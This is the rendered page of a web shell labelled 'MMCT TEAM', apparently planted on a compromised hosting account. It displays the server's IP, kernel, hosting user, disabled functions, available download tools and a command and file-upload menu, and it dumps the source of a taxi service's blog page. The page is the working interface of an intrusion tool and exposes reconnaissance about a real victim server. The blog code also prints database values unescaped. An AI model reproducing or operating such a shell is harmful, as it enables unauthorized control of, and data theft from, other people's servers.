MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.217.142.228
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/blog.php
<?php include('include/common.php'); ?>
<!DOCTYPE html>
<html lang="en" style="overflow-x:hidden">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<meta name="msapplication-TileColor" content="#ffffff">
<meta name="msapplication-TileImage" content="../ms-icon-144x144.html">
<meta name="theme-color" content="#ffffff">
<title>Blog - <?=SITE_NAME?></title>
<meta name="description" content="Stay updated with the latest articles, news, and tips on travel, taxi services, and more on the official blog of <?=SITE_NAME?>. Read our insightful posts and enhance your travel experience.">
<meta name="keywords" content="taxi service blog, travel tips, taxi news, Dehradun taxi, Uttarakhand travel, taxi service updates, <?=SITE_NAME?> blog">
<meta name="robots" content="index, follow">
<meta name="language" content="English">
<meta name="rating" content="General">
<meta name="distribution" content="Global">
<meta name="revisit-after" content="7 days">
<meta property="og:title" content="Blog - <?=SITE_NAME?>" />
<meta property="og:description" content="Explore insightful articles on taxi services, travel tips, and updates on our official blog. Stay informed with the latest news and trends in the travel industry." />
<meta property="og:type" content="website" />
<meta property="og:url" content="<?=BASE_URL?>blog.php"/>
<meta property="og:image" content="<?=BASE_URL?>images/blog.jpg" />
<meta property="og:site_name" content="<?=SITE_NAME?>" />
<meta property="og:locale" content="en_US" />
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="Blog - <?=SITE_NAME?>">
<meta name="twitter:description" content="Read the latest blog posts on travel, taxi services, and more at <?=SITE_NAME?>. Stay informed and plan your trips better with our useful articles.">
<meta name="twitter:image" content="<?=BASE_URL?>images/blog.jpg">
<meta name="twitter:site" content="@Cabsz4u">
<meta name="twitter:creator" content="@Cabsz4u">
<meta name="twitter:url" content="<?=BASE_URL?>">
<meta name="twitter:label1" content="Written by">
<meta name="twitter:data1" content="<?=SITE_NAME?>">
<meta name="twitter:label2" content="Time to read">
<meta name="twitter:data2" content="3 minutes">
<meta name="twitter:domain" content="<?=DOMAIN?>">
<meta name="twitter:image:width" content="1200">
<meta name="twitter:image:height" content="630">
<meta name="format-detection" content="telephone=no">
<meta name="theme-color" content="#ff0000">

<?php include "include/header.php" ?>
<style>
    .bg-banner {
        background: url(images/servicebg.jpg) no-repeat;
        background-size: cover;
        width: 100%;
        position: relative;
    }
    
</style>
<section class="same-section-spacing bg-banner">
    <div class="container">
        <div class="row">
            <div class="col-lg-12">
                <div class="banner-box">
                    <h2></h2>
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="index.php">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Blog</li>
                        </ol>
                        <h2 style="text-align: center;">Blog</h2>
                        <hr id="hr3"> 
                    </nav>
                </div>
            </div>
        </div>
    </div>
</section>
<section class="pt-5 pb-3">
    <div class="container">
        <div class="row">
         <?php
         $q = "SELECT * FROM web_blog";
         $query = mysqli_query($db,$q);
         while($blog = mysqli_fetch_array($query)) { 
            // $description = substr($blog['description'], 0, 245);
            $description = implode(' ', array_slice(explode(' ', $blog['description']), 0, 40))."\n";
            ?>
            <div class="col-xl-4 col-lg-4">

                <div class="single_blog">
                    <div class="blog_image">
                        <img class="blog-photo img-fluid" alt="Blog Photo" src="admin/web-admin/<?php echo $blog['img'] ?>">
                        <span class="post_date"><a href="blog/<?php echo $blog['slug']; ?>"><?php echo date('d M Y', strtotime($blog['create_at'])) ?></a></span>
                    </div>
                    <div class="blog-text"> 
                        <h4><a href="blog/<?php echo $blog['slug']; ?>"><?php echo $blog['title'] ?></a></h4>
                        <a href="blog/<?php echo $blog['slug']; ?>" style="color:#000;"><?php echo $description; ?>...</a>                                
                    </div>                          
                </div>
            </div>
        <?php } ?>
    </div>
</div>
</section>
<?php include "include/footer.php" ?>

MMCT - 2023